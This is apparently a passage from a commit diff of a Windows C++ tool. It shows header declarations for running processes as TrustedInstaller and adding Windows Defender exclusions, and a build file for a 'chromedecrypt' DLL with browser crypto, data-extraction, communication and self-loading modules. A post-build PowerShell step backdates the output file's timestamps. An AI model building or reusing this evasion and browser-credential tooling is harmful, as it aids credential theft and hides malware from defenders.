BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
/**
* @brief Enable specific privilege in current token
* @param privilegeName Privilege name to enable
* @return true if privilege enabled successfully
*/
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName);
/**
* @brief Add path exclusion to Windows Defender
* @param path Path to exclude
* @return true if exclusion added successfully
*/
bool AddPathExclusion(const std::wstring& path);
/**
* @brief Get process ID by process name
* @param processName Process name to find
* @return Process ID if found, 0 if not found
*/
DWORD GetProcessIdByName(LPCWSTR processName);
/**
* @brief Check if file is a Windows shortcut (.lnk)
* @param filePath File path to check
* @return true if file is a .lnk shortcut
*/
BOOL IsLnkFile(LPCWSTR filePath);
/**
* @brief Resolve .lnk shortcut to target path
* @param lnkPath Path to .lnk file
* @return Resolved target path, empty on failure
*/
bool IsLnkFile(LPCWSTR path);
std::wstring ResolveLnk(LPCWSTR lnkPath);
/**
* @brief Validate file extension format
* @param extension Extension to validate
* @return true if extension format is valid
*/
bool ValidateExtension(const std::wstring& extension) noexcept;
/**
* @brief Validate IP address format
* @param ipAddress IP address to validate
* @return true if IP address format is valid
*/
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
/**
* @brief Normalize extension format (ensure leading dot)
* @param extension Extension to normalize
* @return Normalized extension with leading dot
*/
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
/**
* @brief Get string representation of exclusion type
* @param type Exclusion type
* @return String representation for PowerShell commands
*/
std::wstring GetExclusionTypeString(ExclusionType type) noexcept;
std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept;
};

99
kvc/kvc_crypt2.vcxproj Normal file
View File

@@ -0,0 +1,99 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{87654321-4321-4321-4321-123456789DEF}</ProjectGuid>
<RootNamespace>chromedecrypt</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>kvc_crypt</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MinSpace</Optimization>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(ProjectDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP /INCREMENTAL:NO %(AdditionalOptions)</AdditionalOptions>
<ModuleDefinitionFile>kvc_crypt.def</ModuleDefinitionFile>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
<StripPrivateSymbols>true</StripPrivateSymbols>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CryptCore.cpp" />
<ClCompile Include="BrowserCrypto.cpp" />
<ClCompile Include="DataExtraction.cpp" />
<ClCompile Include="CommunicationModule.cpp" />
<ClCompile Include="SelfLoader.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="CryptCore.h" />
<ClInclude Include="BrowserCrypto.h" />
<ClInclude Include="DataExtraction.h" />
<ClInclude Include="CommunicationModule.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SelfLoader.h" />
<ClInclude Include="winsqlite3.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc_crypt.rc" />
</ItemGroup>
<Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
<Exec Command="if exist &quot;@(FinalOutputPath)&quot; echo Building minimal DLL..." />
</Target>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -45,12 +45,9 @@
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<!-- ZMIANA: Użyj dynamicznej biblioteki -->
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<!-- ZMIANA: Optymalizacja pod kątem rozmiaru -->
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<!-- USUŃ: /GL (Whole Program Optimization) -->
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
@@ -58,7 +55,6 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<!-- USUŃ: LinkTimeCodeGeneration -->
<AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>